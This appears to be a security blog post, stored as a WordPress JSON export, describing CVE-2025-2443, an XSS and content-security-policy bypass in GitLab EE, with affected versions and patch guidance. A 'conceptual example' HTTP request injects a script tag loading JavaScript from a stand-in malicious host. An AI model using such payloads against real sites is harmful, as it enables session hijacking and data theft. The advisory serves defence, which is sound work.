{"id":55813,"date":"2025-06-28T20:25:35","date_gmt":"2025-06-28T20:25:35","guid":{"rendered":""},"modified":"2025-08-29T21:31:32","modified_gmt":"2025-08-30T03:31:32","slug":"cve-2025-2443-gitlab-ee-cross-site-scripting-xss-and-content-security-policy-bypass-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2443-gitlab-ee-cross-site-scripting-xss-and-content-security-policy-bypass-vulnerability\/","title":{"rendered":"CVE-2025-2443: GitLab EE Cross-Site-Scripting (XSS) and Content Security Policy Bypass Vulnerability<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The software world is no stranger to vulnerabilities, and a new one has emerged in the form of CVE-2025-2443, a significant security flaw affecting GitLab Enterprise Edition (EE). The vulnerability allows potential attackers to carry out cross-site-scripting attacks and bypass the content security policy under specific conditions. This vulnerability is a significant concern for organizations using affected versions of GitLab EE, as it can facilitate system compromise or data<\/a> leakages, presenting severe risks to data security and integrity.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-2443
\nSeverity: High (8.7 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

GitLab EE | 16.6 – 17.9.6
\nGitLab EE | 17.10.0 – 17.10.4
\nGitLab EE | 17.11.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of a flaw in the handling of GitLab EE’s user-generated content, allowing the attacker to inject malicious scripts that can bypass the content security<\/a> policy. When a victim interacts with the malicious content, the script executes<\/a> within the user’s browser, leading to a successful cross-site-scripting attack. This exploit can be used to hijack user sessions, deface web pages, or redirect the user to malicious websites, potentially leading to system<\/a> compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of a malicious JavaScript payload that could exploit this vulnerability<\/a>.<\/p>\n

POST \/user\/posts HTTP\/1.1\nHost: vulnerable-gitlab-ee.com\nContent-Type: application\/json\n{\n\"post\": {\n\"content\": \"<script src='https:\/\/malicious-website.com\/badscript.js'><\/script>\"\n}\n}<\/code><\/pre>\n
In this example, a malicious user posts content<\/a> containing a script tag that references a malicious JavaScript file hosted on a separate website. When another user views this post, their browser will load and execute the malicious script<\/a>.<\/p>\n
Mitigation<\/strong><\/p>\n
The most effective way to mitigate this vulnerability is by applying the vendor-provided patch. GitLab has released patches for all affected versions: 17.9.7, 17.10.5, and 17.11.1. If immediate patching is not possible, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution. However, these should not be seen as long-term solutions as they may not provide complete protection against the vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The software world is no stranger to vulnerabilities, and a new one has emerged in the form of CVE-2025-2443, a significant security flaw affecting GitLab Enterprise Edition (EE). The vulnerability allows potential attackers to carry out cross-site-scripting attacks and bypass the content security policy under specific conditions. This vulnerability is a significant concern for […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[102],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55813","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-gitlab","attack_vector-xss"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t